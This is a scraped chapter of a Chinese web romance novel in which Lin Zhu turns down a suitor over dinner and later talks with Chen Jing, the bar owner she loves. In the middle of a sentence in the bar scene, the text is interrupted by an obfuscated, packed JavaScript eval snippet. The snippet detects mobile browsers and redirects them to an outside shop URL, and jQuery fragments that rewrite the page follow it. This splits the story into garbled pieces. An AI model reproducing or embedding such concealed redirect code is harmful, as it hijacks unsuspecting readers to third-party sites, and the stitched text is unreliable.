文趣网 > 都市小说 > 深巷藏酒 > 31. 无措
    开了工的林竹就忙起来了。

    她所在的单位年后开展了一个新项目,负责制定区域的绿化、路面翻新和配套设施安装,企业上下都十分重视。

    林竹被分配负责审核合作公司的资质,几天忙得脚不沾地。

    还未曾等她这一项工作终于告一段落,郑九思邀约的见面就实在推无可推了。

    郑九思这次并没很招摇地堵在林竹单位门口,而是在附近的停车场等待。

    林竹看见他的时候,不禁一怔,随之笑了,“你和我同事今天穿的好像。”

    不是好像,是根本就是一件。

    郑九思和吴姿穿了同一款林竹叫不上牌子的驼马绒大衣。

    郑九思露出无奈的表情,“我刚才看到了。”

    刚才他就在想要是穿这件衣服的是林竹就好了,这种缘分般的巧合会让两个人的相处更加浪漫。

    林竹有点惊讶,“你们碰到了?”

    “是啊,我想你同事里不会还有第三个人穿这件衣服吧。”

    “那就是她了。”

    “她是不是不太喜欢我?”

    林竹一怔,“怎么这么问?”

    郑九思耸耸肩,“就是直觉啊。刚才我都没说话,只是点点头向她示意,她可没给我好眼色。”

    林竹噗嗤笑了,她完全想象得到吴姿那副模样——发觉自己和郑九思撞了衫后的傲娇表情。可熟悉的人知道她是“娇”,不熟悉她的人看着就只剩下“傲”了。

    郑九思哀叹一声,“被正在追求的女孩的朋友讨厌可不是件好事,是为什么呢?让我死个明白吧。”

    “你太帅了,她觉得你靠不住。”

    郑九思皱皱眉头,一边给林竹拉开车门,一边显而易见的卖乖,“这不公平吧?凭什么歧视长得帅?”

    -

    两人来了家日料店,其中寿司很合林竹的口味。

    聊着聊着,林竹发现这世界还真是小。

    原来和自己单位合作的那公司竟和郑九思也有点渊源,正是郑九思家族企业的子公司的合作伙伴。

    郑九思对她全然不设防的样子,说如果有自己能帮上的地方要林竹尽管开口。

    林竹推脱了,一方面她同郑九思的关系并没到彼此可以不计较的程度,更重要的一点是自己为法务的审核方,按流程办事即可,本就不需要帮助。

    “你喜欢吃寿司?”

    林竹点点头,“这家的很好。”

    “下次请你品鉴品鉴我做的寿司。”

    “你会做?”

    尽管两人从未聊起过烹饪的相关话题,但林竹就觉得郑九思这人的气质着实和“会做饭”几个字不搭。

    他笑笑,“小看我了吧?我在意大利和当地很有名的大厨取过经的。”

    郑九思举起杯子同林竹碰了碰,又自顾自地说道:“在意大利做寿司的基本都是中国人呢,很多寿司铺和中餐馆都是挨在一起的……”

    “其实也很简单,你想学吗?”

    林竹也同他开玩笑,“是不是传内不传外?”

    “的确是传内不传外,不过教喜欢的女孩呢,义不容辞。”

    “我说过的,我有喜欢的人了。”尽管这一点林竹早就声名过,尽管两人现在也只是以朋友的方式相处,但林竹还是不得不强调这一点。

    她毕竟已然确认了自己的喜欢,就应该向郑九思明确这一点。

    “知道啦,我是心甘情愿做候补队员。”

    林竹无言以对。

    郑九思给人的感觉实在太矛盾,一方面林竹觉得他完全没有因自己有喜欢的人而难过,另一方面又无法承认他对自己没上心,作为一个追求者,郑九思的方方面面都已然很有诚意,任谁也挑不出毛病的。

    “你什么表情啊?我是真心这样想”,郑九思耸耸肩,“难道你以为你会不希望你幸福吗?”

    林竹拿着茶水的手顿了顿,笑道:“你的境界太高了。”

    “如果你愿意的话,讲讲那个人吧。你喜欢的人。”

    林竹一瞬脸热,随之平复下来,“或许你还有印象,就是那间酒吧的老板。”

    郑九思想了想,表情就变得玩味起来了。

    “有点印象,那老板还是蛮帅的嘛。”

    郑九思当然记得自己去酒吧询问林竹却没得到回答的事,起先还以为那老板是的确不知,现在才明白对方压根是不想让自己联系到林竹嘛。

    林竹声音略低了些,又像是在给郑九思讲,又像是在自言自语。

    明明她同陈璟早在高一就认识,对方还是自己的初恋,可她到底几句话就把两人的渊源给概括清楚了。

    “我们是高中同学,大学之后偶然遇到的。因住所离他酒吧近,来往就变多了。现在就是普通朋友。”

    “这因果关系也太牵强了吧。”

    林竹沉默了。

    在对方点醒之后,她才发觉“因为离陈璟的酒吧近,所以自己经常去”这个逻辑实在是说不通。

    或许,早在很早之前,她就已经喜欢陈璟,想要靠近陈璟,只是她自己还不知道。

    “总之大概就是这样。”

    “那他对你呢?”

    她指尖正不经意间变得冰凉,“就是对待普通朋友的样子。”

    尽管自己和陈璟也偶偶会被董芝和小张打趣,但林竹却从来没有动摇过。

    她知道陈璟就是把自己当做普通朋友,因为她见过高中的陈璟。

    那个他和现在实在是太不一样了。

    郑九思苦着脸,“好了,别说了。我真不愿意看到你想着他的样子……”

    所谓故作自然地听自己喜欢的人讲她喜欢的人最是酸涩。

    他做了个捂住心口的动作,“这里真的很痛。”

    林竹笑了,内心并不觉得愧疚,“我的错,以茶代酒自罚一杯。”

    郑九思依旧在口头上谴责她。

    半杯温热的茶水下肚,林竹方才心中的酸涩也去了大半。

    郑九思是喜欢她的,但这种喜欢并非是经过深入了解后、共同经历了众多后,产生的深沉的、无法轻易被替代的情感。

    郑九思外表出众、家境优渥、性格开朗而自信,习惯了去追求自己有好感的女生。

    自己只是这众多女孩中的之一,即使拒绝了对方也不会给对方带来什么伤害。

    -

    自过了年,林竹没再去过一间酒吧,自然也就没见过陈璟。

    她和陈璟上一次联系,还是过除夕的时候她给对方发新年祝福。

    至于他们了上一次见面是什么场景,林竹已经记不清了。

    但距今半个月总有了。

    日子过的真快呀。

    这半个月里自己工作的确有些忙,但也不是完全抽不出空余的时间来。

    另一个很重要的原因则在于,林竹好像不知道该怎样去面对陈璟了。

    林竹确认了自己是喜欢陈璟的。

    可这份喜欢却让她无措了。

    她没有追求过人,甚至没被人太长久地追求过——她在方面很善于拒绝别人,并不因此纠结或者内耗。对于她来说,既然没有继续发展的想法,明确表达拒绝才是对对方的尊重,避免了浪费对方的时间。

    所以自己该怎么面对陈璟呢?

    要用杜然的话说,继续做朋友肯定是不行了。

    但是展开猛烈的攻势嘛,应该不会把她和陈璟推得越来越远吧?

    直至周末,林竹才如往常一般去一家酒吧。

    年味已然散得差不多了,一切又恢复成节前的样子。

    酒吧室内有些微凉,空气中的酒精味、香薰味混合

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17820575|211137||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在一起,融成了一股淡淡的清香,很是怡人。

    酒吧中又多了两面陌生面孔的服务生,而听董芝说小李因学业繁重而不干了。

    董芝和小张还嘻嘻哈哈地打闹,又开玩笑地埋怨林竹怎么好久没来了。

    林竹便给他们讲自己去外地参加婚礼的事,还说了自己抢到捧花的事。

    聊到这里,一番打趣是免不了了,只是两人在调侃捧花砸住林竹这事时目光却纷纷投向陈璟。

    陈璟没反应,林竹也只是假装不知。

    等两人纷纷去忙了,林竹才同陈璟讲起来那两天的细节来,还说那捧花竟不是靠自己抢来的,分明是砸到自己怀中来的。

    陈璟不甚走心地笑笑,顿了顿又问道:“你们宿舍是不还有个姑娘个子不高,留着短头发?”

    林竹摇了摇头表示否认,“怎么这么问?”

    “真没有?你的对床。”

    对床?自赵星芸大一休学之后,自己的对床就一直是钱萱。

    钱萱嘛,个子不高,大学的确有一段时间是短头发来着的,只不过早就留长起来了。

    “钱萱?”

    “那大概就是了,我也不知道她叫什么。和她在火车上遇见过,那时候好像是大二,我帮她拿了行李,就聊了几句。”

    “就聊起来我了?”林竹眼睛微微瞪得大了,无论从哪个角度来说,这都真是个很巧的事儿。

    “是啊,先说起高中来的,然后她就说自己也有个同学在锦城三中,又问我认不认识你。”

    林竹从没听钱萱讲起过这事儿,也颇为新鲜。

    “她一说林竹两个字,我都惊了”,陈璟忽然手痒有点想摸烟,“没想到这么巧。”

    如果一个人说自己有个朋友也在你的高中,这并不值得惊讶什么,甚至他说的这个人你大大概都不认识,有听说过就已经不错。

    可对方一开口就是你高中唯一谈过的男朋友又或者是女朋友,那么这种恍惚就实在是不可避免了。

    这概率实在太小,小到令人心惊,也小到可以唤醒一个理性的人的感性那面。

    你明明已经好久不知道对方的近况,难得遇到个常常和对方相处在一处的人却又不好意思问什么。

    怕太唐突。

    林竹意犹未尽。

    陈璟看着她神情也有点想笑,“别的就没说什么了。”

    林竹忽然想问,如果钱萱念出的名字是另一个人的,另一个女生的,陈璟还会惊讶吗?

    她没敢问。

    “其实我一直挺想问你,你为什么想到来锦城开酒吧呢?我以为你会留在你大学那边。”

    锦城是国内数得上的北方城市,但是相比于陈璟大学所在的城市就不够看了。无论是经济发展,还是人口密度,两者的差别都实在是太不能够忽略了。

    “家人在这啊,锦城又熟悉,压力也更小。”

    林竹有点呆滞地望着他。

    陈璟给出的理由当然很有力,也是大部分人会考量的因素,但是这话由陈璟口中说出来,林竹总觉得有点违和。

    她觉得陈璟似乎不是会在乎一个地方熟悉不熟悉,压力大不大的人,她对他的印象还总是停留在想做什么就去做,不知苦难的样子。

    陈璟叹了口气,林竹想什么几乎写在脸上了,于是又解释了两句,“陈瑜快上初中了,家里人想让他来锦城。爸妈年纪大了,我想回来也能多帮衬一点。”

    林竹点点头,“这是好事啊。”

    她低下头喝了口水,思绪却有点跑远了。

    她在想陈瑜真是个幸福的小孩,有个看似严厉却从内心想要照拂他的哥哥。

    等他在锦城上了初中,还有哥哥在本地,就不会有很多小孩子来到异地上学而有的抽离和孤立之感。

    却没人为小时候的陈璟做这些。